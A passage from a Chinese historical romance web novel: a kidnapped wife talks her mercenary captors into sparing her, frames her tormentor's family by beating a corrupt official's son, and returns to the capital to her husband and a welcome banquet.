听到行规,轮到林豹犹豫了。 春喜抓住关键开口:“等等,虎叔,你口中的雇主不会是卫家大少爷吧?” 林虎冷着脸,并不打算回答春喜的问题。 干他们这行的,第一大忌就是泄露雇主的身份。 林豹昨夜听春喜讲故事听得很认真,对卫家大少爷几个字更是记忆犹新,他猛然把春喜提溜起来,坚定地对林虎说:“大哥,你不能伤她!” 春喜跟着道:“虎叔,卫家大少爷在伤了腿以后就变成了彻头彻尾的疯子,如果他真的是你们的雇主,他肯定是不会留你们的活口的!” 林豹神色一凛。 他们冒死为雇主做事,图的是高酬金,但雇主如果在事后杀他们灭口,那就太不讲道义了。 “大哥!” 林豹加高声音,林虎依然冷静,审视着春喜问:“你怎么会觉得雇主是卫家大少爷?” “因为之前他也派人掳劫过我几次,只有他知道我擅长逃跑。” “对对对!”林豹连声附和,“昨晚我就听阿喜说过,她成婚之前,那个姓卫的就安排人去她家骗婚,后来阿喜跟她夫君去徐州查冤案,姓卫的又安排人闹事想掳走阿喜。” 昨晚雇主的信还没传来呢,春喜这话说在前头,可信度就高多了。 林豹本就对卫凌泽草菅人命的事很不满,这会儿听到他是雇主,更觉晦气。 “这姓卫的还真是脑子有毛病,阿喜现在已经是他的小婶婶了,他自己也娶了家世好相貌也好的妻子,竟然还干出如此下作之事,真是厚颜无耻!” 林豹骂骂咧咧起来,林虎冷声道:“我们只接活,并不探究雇主身份,雇主已经提前给了一半的酬金,我们必须要把事办到。” 说着话,林虎再度拿起石头,春喜连忙道:“虎叔,不如这样,你先留着我这条腿,我跟你们去雇主指定的地方,若是证实他言而无信,要杀你们灭口,剩下的酬金我付,如何?” 林豹立刻点头:“对啊大哥,这一路上又没有其他人盯着咱们,谁知道这小妮子的腿有没有断啊,等咱们到了地方,确定没有问题,再打断这小妮子的腿交差也是可以的啊。” 林虎若有所思,春喜又道:“若是对方先背信弃义,我想请虎叔和豹叔做个人证,到时你们既可以教训对方不守规矩,还能额外得到一份酬金,如何?” “这当然好啊。” 林豹拊掌大笑起来,只觉得这买卖稳赚不赔,林虎沉默了半晌,最终把正儿抱进自己怀里:“从今天开始,这孩子归我管,你要是敢耍什么花样,我马上拧断他的脖子。” 言下之意,他接受春喜的提议,可以暂时留着她的腿。 春喜松了口气,诚恳道:“谢谢虎叔。” ** 春喜失踪一案在瀚京闹得沸沸扬扬,恒阳公主听说春喜没死,逼着大理寺把那晚跟她和春喜打架的世家夫人全都查了一遍。 然而查来查去,一点儿线索都没有,反倒是宁氏在牢里寻了几次死,弄出不少麻烦。 负责主审的官员忍不住找到沈清渊:“宁氏一口咬死所有的事都是她做的,什么都问不出来,现在恒阳公主看谁都像幕后真凶,时间拖得越长对沈夫人越不利,沈大人若是有线索,能否指点一二?” “这事其实很简单。” 沈清渊淡淡开口,见他愿意指点,前来讨教的官员立刻竖起耳朵,身子也不自觉前倾凑近了些,然后下一刻,他就听见沈清渊清冷的声音。 “大人可以转告宁氏,若她再不吐露真相包庇帮凶,我就去掘了她女儿的坟,扬了她女儿的骨灰。” “……”!!! 本以为会听到什么绝妙办法的官员瞳孔震颤,难以置信地瞪着沈清渊,半晌才憋出一句:“沈大人你应该做不出这种事吧?” 沈清渊神情冷寒,认真地说:“莫芸婉犯下了谋害婆母的大罪,莫家根本不认她,宁氏一死,莫芸婉的坟就是无人问津的孤坟,我便是真的掘了她的坟为内子报仇,又有何妨呢?” “……” 第216章 以其人之道还治其人之身 接受春喜的提议后,林虎就提快了速度,五日后,三人抵达云州。 按照雇主的要求,两人要把春喜和正儿带到郊外的城隍庙跟人接头,一手交钱一手交人。 休整一日,做好应对准备,林虎联系了接头的人。 夜里,在城隍庙等了一个多时辰,接头的人才来。 他们也不认识春喜,拿着画像仔细辨认了许久,确认无误,才把一袋金子丢给林虎。 林虎打开查验,确认无误后,和林豹一起离开。 然而两人刚转身,接头的人就变了脸色,杀意凛然地举起手里的刀。 林虎和林豹早有防备,迅速躲开,再转身,双方都亮出兵刃,杀气腾腾。 “我兄弟二人已完成雇主所托,诸位这是什么意思?” “主子说了,杀了你们,这些钱就是我们的了!” 这话一出,夜色中又冒出二三十个人来,他们把林虎和林豹团团围住,明显是要杀人灭口。 不等林虎再问什么,双方激烈地厮杀起来。 林虎和林豹为了保命,招招狠辣,虽被众人围剿,却也不落下风,眨眼间就杀了好几个人。 众人不免心生忌惮,林豹冷声着呸了一口口水:“爷爷在道上混的时候你们的毛都没长齐呢,也不打听打听江州是谁的地界,就敢黑吃黑?” 厮杀越发激烈,连看守春喜的人都加入其中,春喜趁机抱着正儿躲到暗处。 没多久,一支利箭从夜色中射来,直直地插入其中一人的胳膊。 那人本来想从背后偷袭林虎的,痛得惨叫一声,被林虎反手一刀封喉。 这些人没想到林虎和林豹还安排了其他人手,一时有些慌,林虎和林豹抓住时机全力反击。 很快,局势便扭转过来。 那些想要灭口的人都变成了倒在地上的尸体,最后关头,林虎擒住了负责接头的人。 接头的人没想到会是这样的结果,有些慌乱的大吼:“放肆,你们知不知道我们是在为谁办事?” 血腥味在空气中弥漫开来,春喜抱着正儿从夜色中走出来,她把正儿的脑袋压在胸口,没让他看到这样血腥的场面。 春喜背脊挺直,站在一片腥风血雨中,没有丝毫的害怕,她一步步走近,直到一脚踩在接头人的身上才幽幽开口:“说说看,你是在为谁办事?” 接头人本来没把春喜当回事,但肋骨很快感受到巨大的疼痛,他忍不住大声道:“我是在为京城卫家做事,你承担得起得罪卫家的后果吗?” 还真是卫凌泽那个昏了头的狗东西啊。 春喜挑了下眉,幽幽道:“只是卫家而已,又不是皇家,有什么承担不起的?” 接头的人被劈晕,一行人回到城中客栈住下。 门一关上,林豹便迫不及待道:“大哥,这次真是多亏了阿喜提醒,咱们才能捡回一条命,这姓卫的简直不是东西,咱们就算不为阿喜为了自己也得把他揪出来啊。” 林豹这会儿对春喜是彻底服气了,林虎却还是淡淡,他冷静道:“仅凭接头人的一句话根本证明不了什么,我们接活是通过地下城的特殊渠道进行的,并不与雇主直接联系,而且我俩身上还有过案底,就算去到官府,卫家说不定还会扣我们一个故意诬陷的罪名。” 眼下的形势是明朗了,但情况对春喜还是不利的。 林豹陷入沉默,春喜却轻快道:“虎叔说得有道理,这件事若是捅出去,对我的名声其实也有损害,就算官府愿意主持公道,也不会对卫凌泽造成太大的伤害,所以我没打算报官。” 卫凌泽敢屡次派人掳走春喜,打的也是这个主意。 春喜的相貌家世都远不如萧清禾,如今更是嫁给沈清渊成了有夫之妇,卫凌泽当初都没有把她留在卫家做妾,如今又为什么要大费周折地把她弄到圈禁起来呢? 就算证据确凿,别人也会觉得是她不安于室,勾引的卫凌泽。 而她不仅无法自证清白,还会把沈清渊一起卷入被嘲笑的漩涡之中。 所以卫凌泽料定她就算逃出来,也不敢把这件事捅得人尽皆知。 林豹愤愤:“那你是想就这么算了?” “我打算以其人之道还治其人之身。” 春喜勾勾手指,示意林虎林豹凑近些,低声与他们说了自己的想法。 “好,这种人就该被恶人磋磨!” 林豹激动拍桌,满脸痛快,春喜冷静地看着林虎问:“虎叔,您觉得我这样做可行吗?” 林虎沉默半晌,颔首:“有我二人护着你,应当可行。” “谢谢虎叔、豹叔!” 接下来的时间春喜都在客栈房间做针线活,林虎和林豹则四处打探消息。 三日后,云州最大的酒楼。 州府独子张名扬和往日一样跟几个朋友一起喝酒,还叫了姑娘唱曲儿。 酒过三巡,张名扬色心大发,手不自觉揽上小姑娘的腰,小姑娘像是兔子一样吓得跳起来,声音细软地解释:“公子,奴家卖艺不卖身的。” 张名扬很爱看小姑娘惊慌失措的模样,砸了一块碎银在小姑娘身上,下流地笑道:“本公子也没说要做什么,就是加钱看看你的腰有多大,不行吗?” 其他人跟着笑起,小姑娘浑身一颤,屈辱的涨红了脸,在张名扬再次扑过来时,将手里的琵琶砸出去,夺门而逃。 张名扬被砸中鼻梁,顿时怒火中烧:“小贱人,竟敢砸本公子,我看你是不想活了!” 张名扬追出来,然而刚踏出包厢的门,就被一脚踹回去,整个人砸在桌上,饭菜洒了一地,屋里其他人也被波及,顿时全都怒了。 “什么人,竟敢在这儿闹事,你知不知道我们是什么身份?” 张州府在云州的独霸一方,岳丈还是京中贵族,今日陪着张名扬吃饭的,都是云州有头有脸的官家公子。 春喜听到这话,绽出一抹明媚的笑。 她当然是查清楚他们的身份,知道他们这些年干了不少恶事才专门来揍他们的呀. “几位公子不是要听曲儿么,我来给几位唱,如何?” 第217章 夫人还知道回来啊? “你大爷的你谁啊,谁让你多管闲事的?” 张名扬爬起来后暴怒。 他从生下来就过得顺风顺水,这几年更是随心所欲,云州这片地界,还从来没有人敢这么对他。 春喜弯眸,大声道:“知道京城卫家吗,我是卫家小姨娘的贴身婢女,你们没长眼调戏了我家姨娘,奴婢特奉大少爷之命,来教你们怎么做人!” 春喜说着冲进屋里开始大展拳脚。 这些个公子哥平时吃喝玩乐耍耍威风还行,真打起架来都还不是春喜的对手,没一会儿,包厢里就发出了各种打砸声和惨叫声。 这会儿酒楼生意正好,来往客人不断,听到这动静全都竖起耳朵凑热闹。 张名扬这几个公子哥在云州可嚣张了,这两年没少干强抢民女、强买强卖的事,手上不知有多少条人命,今天能被教训一顿那可真是大快人心啊。 这个京城卫家听起来很厉害呢,但卫家大少爷为什么要把自己的妾室送到云州来呢? 众人窃窃私语,酒楼小厮和几人的随从听到动静想要上前护主,被林虎和林豹拦下。 林豹学着接头人那天晚上的语气嚣张道:“卫家人做事,谁敢上前阻拦,杀无赦!” 有个随从不信邪,想要上前立功,被林豹一刀砍了胳膊。 那人捂着胳膊惨叫起来,有随从大声喊道:“我家公子可是州府大人的独子,他要是有什么闪失,就算你是卫家人也要吃不了兜着走!” 话音刚落,包厢门打开,一位鼻青脸肿的少爷被扔了出来,重重摔在楼下。 春喜拍拍手,站在二楼扶手处睥睨着众人:“我家大少爷年少成名,战功赫赫,如今更是御前的大红人,你们动了我家公子的心肝宝贝疙瘩肉,别说州府大人的独子,就是天王老子,那也得死!” 放完狠话,春喜把包厢里其他几个人也扔了下来,最后留下张名扬一人。 张名扬是听过卫凌泽的名号的,他被春喜气疯了,大声嚷嚷道:“姓卫的有什么好神气的,他如今不就是个残废吗,你们今日敢伤我,我一定要那个残废付出代价!” 春喜毫不犹豫给了张名扬几个耳光,幽幽道:“我家大少爷最讨厌有人在他面前说残废两个字,张公子自己要找死,可就怨不得奴婢了。” 春喜说着给林虎递了个眼神,林虎一刀捅在张名扬腿上,手腕微微用力一拧,彻底废了这条腿。 “少爷!” 张名扬晕死过去,随从撕心裂肺地惨叫起来。 春喜喝止住这些随从,扬声道:“我家姨娘就住在东大街东阳巷第一间宅子里,张公子醒来若是知道错了,来给我家姨娘当面磕头认个错,这事就算过去了,不然你们张家所有人就等着给张公子陪葬吧!” 丢下这句话,春喜在林虎林豹的保护下走出酒楼,迅速换装带上正儿出城。 不多时,州府的官差赶到,看到张名扬和几个公子哥被打成这样,全都吓了一跳,他们第一时间把人送去医馆救治,又全城戒严,到处搜捕可疑的人。 看到唯一的儿子被废了一条腿,张州府怒不可遏,但他还是保持着理智,抓着负责调查的官差问:“你们确定闹事的真的是卫家的人?” “回大人,千真万确,小的亲眼所见,那三人的衣服上都有特殊的标识,那座宅子虽然空了,但还留了个护卫,那人一直叫嚣着自己是在为卫家做事,要我们放了他,那座宅子的主人也找到了,是个老婆子,以前曾在卫家做过奶娘,我们抓了她的儿子孙儿,她什么都招了。” “不过这个老婆子知道的不多,只知道卫大少爷要送个女子和小孩儿来宅子里住,至于那女子姓甚名谁,家在哪里就不知道了。” 听完下人的禀报,张州府还是觉得不对劲,卫凌泽能在少年时一战成名,多少是有些城府的,就算要教训他儿子也该隐秘行事,怎会如此高调? 张州府还想继续查一查,张夫人在这时杀了过来:“姓卫的害咱们扬儿废了一条腿,你不为扬儿报仇,还在这里傻愣着做什么?” “夫人,此事还有疑点,要先查清楚再行事,卫大少爷应该不是如此鲁莽之辈,而且瀚京离云州这么远,万一是下面的人自作主张……” “他都瘫在床上了,脑子能跟正常人一样吗,而且就算是下面的人自作主张,那也是他卫家的人伤了扬儿,卫家必须给我一个满意的交代,不然我定要跟他们不死不休!” “夫人……” 张州府还要再劝,张夫人直接打断他:“我明日就要带扬儿回瀚京寻名医为他治腿,你不敢为扬儿求个公道,扬儿还有他外祖父撑腰呢!” ** 出了城,春喜他们一路疾行,以最快的速度赶回瀚京。 十日后,几人在盂县一家客栈入住。 连着这么多天都在赶路,大家都疲惫不已,吃饭的时候,林虎突然开口:“这里离瀚京不远了,你确定就这样回去?” 她毕竟是有夫之妇,消失这么长时间,什么事都有可能发生,回去之后必然会引来许多流言蜚语,若是夫家借题发挥,处境会更加艰难。 春喜知道林虎的担忧,淡定地说:“我夫君人很好,他不会怀疑我的。” “就算他不会怀疑你,其他人呢?” “只要他不怀疑我,其他人说什么不重要。” 春喜语气坚定,一点儿也不担心回去后的事,林虎还想再说些什么,突然感受到一束极具压迫性的目光。 他下意识地抓紧腰间的刀,偏头,望进一双冷沉深邃的眸。 长久以来干这行练出来的敏锐让他瞬间判断出这人来头不小,且明显是奔着他们来的。 他咬紧牙关,已做好殊死一搏的准备,下一刻却听到那人说:“为夫还以为夫人在外面玩得乐不思蜀,没想到夫人还知道回来啊。” 听到熟悉的声音,春喜猛然回头,沈清渊就站在离她一步之遥的地方。 她这是赶路赶出幻觉了,大人怎么会在这里? 春喜难以置信地用力揉眼睛,沈清渊走过来抓住她的手:“别揉了,是我。” 第218章 我在家等夫人 “夫君,你怎么来了?” 春喜的语气有点飘,即便感受到沈清渊的体温,也还是觉得不真切极了。 他怎么能突然就出现在这里了呢? 林虎仍紧紧抓着手里的刀,没有放松警惕,倒是林豹忍不住好奇问了一句:“这就是你夫君啊,瞧着也不老啊。” 趴在他怀里喝了一碗羊奶的正儿跟着发出咿咿呀呀的声音。 “豹叔,我只是说我夫君比我大几岁,没说过他老,”春喜解释了一句,扭头又对沈清渊介绍,“这两位是虎叔、豹叔,多亏了他们一路保护,我和正儿才能平安无事。” 春喜的语气仍旧亲昵,丝毫没有因为有了沈清渊做靠山就翻脸。 林豹听完反而有些不好意思。 要不是他们接这活,人家小夫妻也不能分开这么久。 沈清渊并没有对春喜的话产生任何质疑,他看了林虎和林豹一眼,颔首道:“虎叔、豹叔,多谢。” 沈清渊的语气虽然平淡,但听得出是诚恳的,林虎抓着刀的手慢慢放开,林豹心虚地低头看着正儿,不知道该怎么回答。 吃过饭,林虎抱着林豹先去休息,沈清渊跟着春喜进了她的房间。 林虎他们得的酬金虽然不少,但这一路还是很节省,今天住客栈也只开了两间下等房。 房间逼仄且简陋,地板踩上去也吱呀作响,春喜顾不上点灯,登门一关,就伸手环住沈清渊的腰。 “夫君,这些时日为了赶路,我都没有好好洗头洗澡,身上可能有味道,你别嫌弃我。” 春喜的声音闷闷的,鼻子忍不住发酸。 除了疲惫,更多的是想念。 她真的很想很想沈清渊。 从他出发去瞿县接使臣团的那天就开始想了。 沈清渊没有嫌弃春喜,用比春喜更大的力气回应了这个拥抱,无声地告诉春喜。 他也很想她。 闻着熟悉的皂香,春喜放松下来,过了好一会儿才问:“夫君,你怎么会在这里?” “我的夫人遭人掳劫,一个多月过去,杳无音讯,生死未卜,我不应该来找她吗?” 沈清渊反问,语气颇有两分哀怨,怪春喜没有传信给他。 春喜连忙解释:“我不知道夫君在瞿县顺不顺利,怕写了信你收不到,而且虎叔和豹叔的警惕性很强,我怕他们误会我又在设什么局,更重要的是,这一路人生地不熟的,我找不到可信的人帮忙传信,怕万一泄露消息反而生出变故。” 反正她是会竭尽所能回到他身边的,晚一点也没关系,就当是给他的惊喜了。 春喜的顾虑都是有道理的,沈清渊没再揪着不放,沉沉道:“太子妃的妹妹也就是誉王世子妃两日后会路过这里,到时你可以坐她的马车一起回京,她会对外宣称是在回京路上碰巧解救的你,如此便不会有人对你说三道四。” 春喜连连点头,还是好奇:“夫君怎会知道我在这里?” “离京之前,我向太子殿下要了一名暗卫。” “那他怎么不早点儿现身救我啊?” 春喜脱口而出,沈清渊温声解释:“只要你没有生命危险,暗卫是不会轻易现身的。” 而且太子殿下也想知道幕后之人是谁。 春喜点点头,又横了沈清渊一眼:“所以夫君一直都知道我的行踪,那夫君怎么也不让人给我送个信,我这一路可都没有睡好呢。” “夫人自有主见,为夫送不送信有区别吗?” 沈清渊话里有话,春喜忍不住在他腰间掐了一把。 沈清渊腰腹的肌肉瞬间绷紧,硬邦邦的根本掐不动,春喜反而很快手酸。 沈清渊眸子微暗,但没时间久留,沉沉道:“一会儿我先带虎叔和豹叔回去,你和正儿在这儿等誉王世子妃。” “夫君这就要走啊?” 春喜顿时生出不舍。 这话让沈清渊的唇角上扬了一分,他揉了下春喜的脑袋说:“夫人是被誉王世子妃救下来的,为夫只能在家里等夫人归来。” “哦。” 春喜点点头,见沈清渊转身要走,忍不住环住他的脖子踮脚亲了上去。 沈清渊毫不犹豫,立刻加深了这个吻。 许久未见,彼此都吻得很用力,呼吸心跳都是乱的。 好在沈清渊理智尚存,及时推开春喜:“两日时间很快就过去了,我在家等你。” “好。” 沈清渊跟林虎林豹简单说明了情况,林豹就把正儿交给春喜,和沈清渊一起走了。 春喜抱着正儿躺到床上,回味了一下刚刚那个吻就要入睡,迷迷糊糊间猛然瞪大眼睛。 等等! 暗卫把她的行踪报给了大人,是不是也把她和虎叔豹叔在云州冒充卫家人,把州府大人的独子打成残废的事报给太子了? 太子殿下会治她的罪让她下大牢吗? 唇上残留的旖旎和浓重的睡意瞬间消散,春喜坐起身,整个人都清醒过来,细细分析眼下的情况。 是卫凌泽先对她耍阴招的,而且云州州府那个儿子也不是什么好东西,她这应该能算得上是为民除害。 而且如果太子殿下要治她的罪,就不会让誉王世子妃顺路带她入京了吧? 如此说来,太子殿下可不可以算是跟她一伙的? 不对不对,之前在萧家见面,太子殿下和大人的关系就很亲厚,后来大人去徐州,太子殿下还暗中给了大人不少兵马撑腰,再后来分家的时候,太子殿下也来帮忙做主了。 太子殿下从一开始就是偏向大人的,所以捎带着也对她照拂了一些。 想通了这点,春喜心口大石落地,复又躺下。 床板很硬,发出沉闷的声响,正儿被吵到,不安稳地哼哼起来,春喜赶紧拍了拍他,轻声哄道:“正儿,别怕,姑姑在这儿呢,刚刚你姑父也来了,咱们现在很安全,而且还有太子殿下给咱们撑腰呢,谁也欺负不了咱们,你就安心睡吧。” 正儿很快发出小小的呼噜声,春喜也跟着睡过去。 两日后,春喜抱着正儿坐上誉王世子妃的马车一同回京。 第219章 办个接风宴去去晦气 誉王世子妃要直接进宫,索性把春喜也一起带进了宫,皇后和太子妃都齐聚到太后的慈宁宫。 春喜和誉王世子妃在路上商量好了说词,应对起来很是自如。 “你能平安归来就好,你出事后,恒阳还进宫找哀家哭过一次,恨不得把整个昭陵都给翻个底儿朝天。” 春喜没想到恒阳公主会为了自己进宫哭,愣了一下动容道:“能得公主殿下如此看重是臣妇的福气。” “恒阳性子急,还有些傲,她闺中那些手帕交不是远嫁他乡,就是困于后宅与她渐行渐远,哀家已经好些年没有见到她这般喜欢一个人了,你日后可以多去公主府陪陪她。” 太后年纪大了,这些年不怎么管事,整个人都柔和下来,只盼着儿孙们都过得开心快乐。 春喜连声应是,太后见正儿一直不曾哭闹怪可爱的,又赏了一只如意金锁给他。 谢了赏,春喜先行带着正儿出宫。 走出宫门,就看到阿鲤驾着马车等在外面。 春喜眼前一亮,快步上前,掀开车帘,果然看见沈清渊端坐其中。 春喜克制不住笑开,嘴上却道:“夫君不是说好在家等我吗?” 春喜话里带着戏谑,沈清渊跟着带了笑:“夫人失踪月余,为夫日夜担忧,寝食难安,听说夫人被救回,哪里还坐得住,自然要第一时间赶来接夫人回家。” 虽然话里有开玩笑的意思,但更多的是真的想念。 春喜心口发热,又想凑近去亲沈清渊,胸口被正儿踢了一下,春喜意识到不妙,连忙把正儿翻了个面,扒开他的腿。 果然,下一刻清澈的童子尿一柱擎天。 春喜那点儿心思瞬间消散,等正儿尿完偏头对沈清渊说:“大嫂这些日子肯定担心死了,咱们先送正儿回去吧。” 沈清渊没有意见,吩咐阿鲤驾车去了曹家。 马车在巷口停下,沈清渊陪着春喜一起走过去。 院子里,曹武在劈柴,钱氏和王氏坐在一起摘菜,两人皆是心不在焉,消瘦了许多。 “大嫂。” 春喜站在院门口轻唤了一声,钱氏没有抬头,像是没有听见,春喜还要再叫,怀里的正儿认出母亲,激动地哼唧起来。 听到孩子的声音,钱氏猛然抬头。 “正儿!” 钱氏惊呼一声扑过来。 这段时间钱氏每天夜里都梦到正儿回来了,有时白天也会出现幻觉,这会儿真真切切把孩子抱进怀里,反而觉得不真实极了。 曹武早就放下斧头走过来,见正儿安然无恙,也忍不住落下泪来。 王氏流着泪,对着天空不住作揖:“真是老天保佑,我孙儿没事,他平安回来了。” 一家人哭成一团,见他们一时停不下来,春喜正准备和沈清渊离开,曹武立刻走过来:“阿喜,真是太谢谢你了,你救回正儿没受伤吧?” 钱氏不放心孩子,抱着正儿回屋细细检查去了。 春喜看了眼她的背影,摇头道:“我没受伤,这次正儿是因为我才受的无妄之灾,我担不起大哥这声谢,反而应该向大哥道歉才是。” 听到春喜的话,沈清渊立刻道:“是我没有保护好阿喜,我也该向大哥赔罪。” “阿喜、妹夫你们这是说的哪里的话,有罪的是那些心狠手辣的坏人,而且我也没有照看好娘和正儿,你们有什么错?” 曹武很拎得清,春喜淡淡道:“大哥不怪我就好,但大嫂和正儿这段时间饱受分离之苦,这是什么都弥补不了的,大哥这段时间就不要上工,在家多买些好吃的陪陪他们吧。” 春喜说着拿了一些银子给曹武,曹武脸色微变:“之前阿喜把从卫家得的赏赐都留在了家里,那些东西就值不少钱呢,而且你出嫁也没要嫁妆,我哪能再要你的钱?” “这钱不是给大哥的,是给大嫂和正儿的。” 春喜坚持,曹武还想再推辞,春喜直接转移话题:“大哥,我奔波了一路好累,想早点回家休息。” 春喜风尘仆仆,人也明显清瘦了些,曹武唇瓣嗫嚅,最终只能把钱收下。 春喜确实累了,给了钱,她没再多留,和沈清渊一起离开。 两人一走,李婶和街坊四邻都涌进曹家,嘴上恭喜曹武找回儿子,实则是想打听春喜一个弱女子是怎么带着孩子从穷凶极恶的绑匪手里逃出生天的。 春喜方才也没说具体细节,曹武答不上来,众人见他支支吾吾,不免生出猜测,正嘀咕着,一直安静站在角落的王氏突然拿起扫帚赶人:“滚,都给我滚出去!” 王氏气势汹汹,众人都被吓得四散逃走,院子很快又安静下来。 曹武看着王氏的样子若有所思。 这次劫后余生,他娘好像很久都没有说过阿喜的坏话了,而且刚刚阿喜送正儿回来,没跟娘打招呼,娘似乎也没有生气。 娘是想开了还是做了什么对不起阿喜的事? 春喜并没有注意到王氏的变化,她是真的累了,回家洗了个澡,就把自己扔到床上睡了个天昏地暗。 再睁眼,她感觉自己饿得能吃下一头牛。 空气里有饭菜香,她一股脑爬起来准备觅食,刚走出房间,就被摁进一个香香软软的怀抱。 “你可真能睡,本公主还以为你要一睡不起呢。” “臣妇好不容易才回来,还没来得及报答公主为我闯皇宫闹瀚京的大恩,怎敢一睡不起?” 听到春喜把自己这段时间做的事都说出来,恒阳公主有些不自在,她放开春喜,梗着脖子说:“其实本公主也没有做什么,只是督促大理寺抓了几个可疑的人审问罢了,你毕竟为本公主打过架,万一有人因此拿你泄愤,那也算是本公主造下的因果。” 春喜没有拆穿,笑着应道:“是是是,臣妇都明白。” 小厨房一直热着饭菜,见春喜吃得香,恒阳公主忍不住也吃了一碗饭。 虽然只是家常菜,但有春喜一起吃,就是比较香。 吃完,恒阳公主提议:“你好不容易平安归来,我在公主府给你办个接风宴,去去晦气,如何?” 第220章 谁是狗我骂谁 恒阳公主雷厉风行,直接把给春喜接风的日子定在五日后,派人给各府送去请帖。 春喜根本没有拒绝的机会,不过也没有想要拒绝。 她能平安回来,确实应该好好跟大家见个面。 恒阳公主走后,春喜轻声问沈清渊:“夫君查过虎叔和豹叔的过往了吗,我觉得他们身手很好,想把他们留在府里做事行吗?” 沈清渊给家里雇的护院身手都挺好的,但遇上像这次这样的事,不如虎叔和豹叔有经验,而且两人干这行多年,在道上有些人脉,打听消息也快,以后就不用再麻烦无忧阁了。 “只要你能说服他们留下就好。” 沈清渊淡淡开口,言下之意这两个人是可以信任的。 春喜没有追着探究两人的过往,认真思索起该如何说服他们留下。 正想得入神,沈清渊的声音传来:“夫人可睡够了?” “够了够了。” 在盂县客栈她补了两天觉,回来又睡了整整一天,这会儿感觉精力充沛极了。 “那夫人吃饱了吗?” “饱了呀。” 春喜点点头。 不只饱了,因为吃太急,这会儿被沈清渊提醒还感觉有点撑。 “多亏夫君提醒,我得活动一下消消食。” 春喜站起来,准备在院子里走几圈,边消食边想留人的法子,然而刚踏出一步,腰间就是一紧,沈清渊认真道:“我帮夫人。” 沈清渊的声音微哑,很是低沉,传入耳中顿时让春喜有种酥酥麻麻的感觉。 两人在这方面已经颇有默契,春喜偏头,果然看到沈清渊眸底翻涌的欲念。 春喜也是很想他的,她没有扭捏,环住沈清渊的脖子,整个人跳到沈清渊身上:“我不仅要消食,还要想办法留住虎叔和豹叔,夫君也能帮我吗?” 沈清渊稳稳托着春喜往屋里走,声音越发的哑:“夫人有所求,为夫断没有拒绝的道理。” 春喜唇角一勾,低头吻了上去。 精力充沛,心里也有欲念,一开始是春喜主动点的火,但到了后面,她就败下阵来:“夫君,我错了,我刚刚不该那样挑衅你,我以后再也不敢了。” 沈清渊动作一顿,贴着春喜的背凑到她耳边:“挑衅?原来夫人刚刚是想压倒为夫啊。” “我不是,我没有!” 春喜立刻否认,下一刻却听到沈清渊说:“无妨,为夫愿意让夫人‘压’着。” “……” 一夜折腾,春喜感觉好不容易补回来的精神又被沈清渊吸走一半,好在沈清渊信守承诺,帮她把虎叔、豹叔都留下来了。 很快,便到了五日后的接风宴。 一大早,恒阳公主就派人把春喜接到公主府,命人精心给春喜梳妆打扮。 春喜看着那一套套华美的衣裙,忍不住说:“公主,这会不会太隆重夸张了点儿?” 之前她去宫里参加宫宴都没这样呢。 恒阳公主横了她一眼,叉腰道:“哪里隆重夸张了,你不明不白遭人掳劫,背地里不知道有多少人想看你的笑话,如今好不容易回来,必须好好打一打那些人的脸!” “公主你之前不是说不应该把精力浪费在不值得的人和事上吗?” “本公主身份高贵,有权有势,她们只敢私下蛐蛐本公主,本公主当然可以不在意,你要是表现得不在意,她们就觉得你心虚害怕,然后就会蹬鼻子上脸,你懂吗?” “……” 公主,虽然你说的都是实话,但听起来怎么这么扎心? 妆容很复杂,衣裙穿起来更是繁复,几个婢女忙活了足足一个时辰,才帮春喜收拾妥当。 早就有宾客到了,恒阳公主在外面待客,春喜在丫鬟的带领下走出去。 快到花园的时候,忽然听到吵闹声。 她加快速度走过去,一眼就看见萧清月梗着脖子,像只斗鸡立在人群之中。 “曹春喜出身再低微,那也是跟我萧家沾亲带故的,我萧清月要叫她一声小婶婶,你再说她一句试试!” “她被绑匪带走这么多天,什么事都有可能发生,我就是提出合理的猜测,又没有说她什么,你这么激动做什么?” “这件事官府自然会查清楚,你什么都不知道张嘴就在这儿猜来猜去,也不怕损了阴德以后遭报应!” 萧清月拔高声音,眼睛也瞪大,一点儿也没看出这些日子被萧夫人拘着学了规矩,瞧着反而比之前更凶悍了。 “我不过就是说了两句实话,为什么会遭报应,倒是萧二小姐如今把你那位小婶婶的粗蛮无理都学了去,也不怕传出蛮横的名声日后嫁不出去,难道萧二小姐也想学你小婶婶嫁给克妻的鳏夫?” 这话不仅踩了萧清月,也踩了春喜和沈清渊。 萧清月气得急了眼,当即就要扑上去打人,春喜及时上前,把人摁进怀里:“好月儿,好些日子不见,你真是越来越漂亮了,我都快想死你啦。” 春喜突然出现把萧清月抱了个满怀,听到熟悉的声音,萧清月整个人都有点懵,熊熊燃烧的怒火也暂时被浇灭。 曹春喜还真的平安无事回来了啊。 萧清月莫名有点儿鼻酸,原本正在看热闹的众人却都默默往后退了几步。 萧清月就算动手打人,那也没什么可怕的,但曹春喜要是动起手来,可就太吓人了。 众人心里都在发怵,刚刚和萧清月吵起来的穆三小姐心里就更是惴惴了。 之前萧清月生辰宴上,就因为她说了曹春喜几句,沈清渊便陪着曹春喜到穆家索要钱财,害得她被父亲禁足一个多月,萧清月也跟她疏离起来。 她心中怨恨,听闻春喜被人掳劫一个多月又回来了,便忍不住说了几句话,暗示春喜失了贞洁,谁曾想萧清月听到后竟然气势汹汹地跟她吵起来,还正好被曹春喜听到。 这次曹春喜不会又要去她家告状吧? 穆三小姐捏紧绢帕,心里虽然胆怯,却不想丢面子,背脊挺得笔直,并不打算服软道歉。 然而春喜看都没看她一眼,只揉着萧清月的脑袋说:“这人多的地方难免有狗叫,你跟狗较什么劲儿?” “沈夫人,你骂谁是狗呢?” 穆三小姐气得胸口起伏,春喜挑眉:“谁是狗我就骂谁,怎么,穆三小姐感觉自己被骂到了?” 第221章 本公主请你来了吗? “……” 穆三小姐被春喜一句话噎住。 她若说自己被骂到,那就是承认自己是狗,若说自己没有被骂到,那就是白白被春喜骂了。 这话不好接,憋了半晌,穆三小姐只能转移话题:“沈夫人这嘴真是不饶人,难道沈夫人就是靠嘴上这点儿功夫从绑匪手里逃出来的?” “绑匪穷凶极恶,怎么可能因为几句话就把我放了?”春喜毫不犹豫地否认,而后道,“我是杀了他们才逃出来的,这绑匪再狠那也是肉体凡胎,我趁他们睡着,用石头把他们的脑袋一下一下砸得稀碎,穆三小姐见过人的脑浆吗,很白……” 这些夫人小姐个个娇生惯养,连鸡都没有杀过,听到春喜绘声绘色地描述起杀人的场景,全都吓得变了脸色,穆三小姐更觉后背发凉。 春喜说那些话的时候一直盯着她,像是要把她的脑袋也砸破。 最终她受不了了,大声喊道:“你别说了!” 